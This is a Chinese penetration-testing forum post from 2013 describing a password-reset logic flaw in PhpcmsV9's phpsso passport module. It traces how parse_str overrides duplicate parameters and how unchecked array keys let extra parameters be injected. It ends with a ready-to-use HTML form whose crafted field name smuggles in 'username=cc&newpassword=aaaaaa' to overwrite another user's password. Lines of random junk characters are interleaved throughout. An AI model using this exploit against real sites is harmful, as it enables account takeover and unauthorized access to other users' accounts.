中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
$ h" W6 X) W5 M1 B2 x P. j7 U
$ C5 f. K9 H/ U' q% o4 b
2 r4 G, x# R1 G/ o: @+ H1 z
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
. p( h' O4 g( m8 @+ I
; J; a+ D U7 K+ F+ m3 a
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" e3 G! _4 ?/ X4 a% n* a: \
# f) _) Y$ K% E, B( O, \0 X& B2 F
我把它留给了你们。
; F7 B; L( o4 V7 M0 t1 P2 r8 Z
不知道你们发现了它没有。
* @' x: p! U* c- _
- m7 s% f8 t- I6 U
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
* v$ O2 [% `# e: S. f% J
+ {! \. d% J: F7 q4 H
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
) ~5 c/ e& O4 t. A) `( X* _" ^
& } u( P; r- s3 t! z7 g
也就是
- J/ T" ?" ]7 ]" J
3 a- c1 h* `& j( a( U
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
/ D+ C: s+ l; q$ ^; [. |
: |+ z" ]1 _& O- R( ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
& L( I; n- ~; h) h: O4 C
/ N2 t) {- e* j7 j& K# o
+ q( O1 }* B n
其实我们有这样的机会,看看代码,如下:
& F+ n5 e) P% a/ b
+ F/ D+ ^% w' x: m+ x
! q6 h" G' |( X/ f6 ^6 Q1 ~- J
public function auth_data($data) {
6 Y" y/ w6 C; s" i1 e9 x9 r
$s = $sep = '';
3 v) K0 Q5 p9 c/ O
foreach($data as $k => $v) {
2 o( i$ r0 n, A3 q+ F @! y
if(is_array($v)) {
' U* o- M" y! M
$s2 = $sep2 = '';
# S) E) b4 j: {& j, t2 f/ r8 ~
foreach($v as $k2 => $v2) {
+ b5 r7 c9 B9 A" w8 V0 ~9 m8 E
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
- D! g% F/ L# c9 p; K1 Y* m
$sep2 = '&';
9 a# g" W! x9 L/ i: P
}
% J# g' W* Z9 C
$s .= $sep.$s2;
! ]8 @& w( g( l2 p
} else {
3 F; W5 r' H: U
$s .= "$sep$k=".$this->_ps_stripslashes($v);
; T% b- M: z( |1 j3 M, B
}
- o& [9 n K; G3 Z2 a
$sep = '&';
0 k; k% z0 x1 ]8 K" t0 [
}
7 t" B+ Y' q. B3 {* {2 f
- `% o8 y' O! ^9 Z: }
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
6 m% \4 F7 e6 g# i4 v
return $auth_s;
3 N/ l) b/ M( q$ N# y8 ~* F5 y& m
}
7 O4 S/ g( y* r- y8 {. g
" `# l$ C1 S1 q0 ^( _) [ g
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
A/ X. q! K) ^- s" V1 ^
, ` y4 ]( S8 x* |
举个例子
0 I' ~* T' b; a& u
. u7 \, p" b' {2 L
$a[aaa=a&bbb] = 'a';
& ?% l- J9 R8 S2 ]2 L$ ~6 L
6 } g. Z' g2 J0 {" x" |4 D) s2 ^
会变成aaa=a&bbb=a
5 v$ `% x% i) u
% y: z9 [! i1 i# |8 p
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
! N2 I$ _. _& O) w+ c% x
0 Y, V9 n0 m" f
这个时候,我们可以再去看一个函数。
8 j7 Z$ {3 }! B$ W1 U& U: P
4 {7 Y# V8 }7 t6 `. P
就在这个文件内:
$ F0 P, I' q4 K4 Q. q
5 p9 j# V, u' w( D: a( \
; c; \4 n3 s M3 T
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
$ o, Q e% H% d+ N- d- a! }
if($email && !$this->_is_email($email)) {
3 n! u9 Q4 o$ `( w+ {
return -4;
! q$ R! z% Q2 D2 s7 W/ X
}
! H. n4 P5 E7 d3 K7 v1 [
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
+ B, g0 s" h& j, w% |
}
- e8 y% l! H8 B' |6 S! ?
; ] n% l+ U5 |. d t& E- q2 S' G
这是向通行证发了这样一个请求。
4 Z6 R8 t" K# t% C3 X
$ D: Q" z3 b0 Z: R( f1 L
我们再跟到通信证代码里去看看,就会有所发现。
4 G! p; ~, c! n9 }
, i S: B7 S B0 Y$ H9 W
2 G* f+ D! _ ^' `3 U
public function edit() {
& O( X5 c: d/ U% v
//能省就省,太长了不是吗?
2 |; P/ n+ }1 h
, U! {# E8 v, d$ X6 b
if($this->username) {
$ c& p" S1 ^ V' _ Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 _( k* T% @1 e; N; r
$res = $this->db->update($data, array('username'=>$this->username));
8 ~5 Z* N5 d! Z; P$ W1 @9 [5 L
} else {
9 }7 M1 \( J7 f; {. f
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* h# v) a3 A* S \; O8 \) C+ @
$res = $this->db->update($data, array('uid'=>$this->uid));
! T. j' V: L Q8 Z+ ]: m4 j' `
}
3 F7 D' Z: A7 \. B6 S ^
! P- G; i: ~& V. i: C
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
3 j( P" R6 o: U4 j, x
, p. H) H, {$ O T% y6 y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
/ F# p( x2 G/ P* V. f
4 V) P% A" E8 P0 l. C+ d8 j D& N
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
* b7 q* g( m" r- U* P( w
; c4 h/ B. a- G& O
我当然找到了:
& l; h! h m; y& q! R* B/ Y$ H
phpcms9/phpcms/modules/member/index.php
$ G9 s" A" F. ~% @- R+ A5 U! Y3 j2 e9 A
" x" g7 c4 c( @: \
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
) G( w9 X& N6 M
9 d, f$ E1 L( G: r" l5 `$ x
然后就没有然后了。
" r K1 Q: `9 O3 u( _
' q% A! E4 B9 y. \4 B# o
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
5 ^# S( K" V5 a3 e
<table width="100%" cellspacing="0" class="table_form">
! l) H$ t& l/ u
<tr>
- _" I. u3 S# r7 _
<th width="80">邮箱:</th>
5 a, s& C7 x* s. d
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
, g! i6 g; [* n7 l- ^! I7 I# C- } t8 z
</tr>
3 i5 D2 o) D% a9 z+ M
<tr>
7 ? c0 L- _# k
<th width="80">原密码:</th>
0 ^, }! i0 R4 s2 E
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; W$ P2 W# e; r
</tr>
, p9 K1 T& ^5 Q6 `$ ]
<tr>
$ ^4 `- C' O, J' H
<th>新密码:</th>
. d0 R/ P7 i# j0 I9 l2 h9 L
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" h5 d* ~+ b) q# Y+ N5 U
</tr>
" a8 T# o" V/ r
<th></th>
2 _ W* ~% T/ v: _
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
3 [. f k& n: {1 [6 |
</tr>
; a. h' |- l) v
</table>
# `9 s7 j& L W* I- I; g
- Q9 U' H2 C4 X8 V
# U: ]0 ~7 R" w
</form>
% l& p q! j" g# B+ Q9 i& V
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2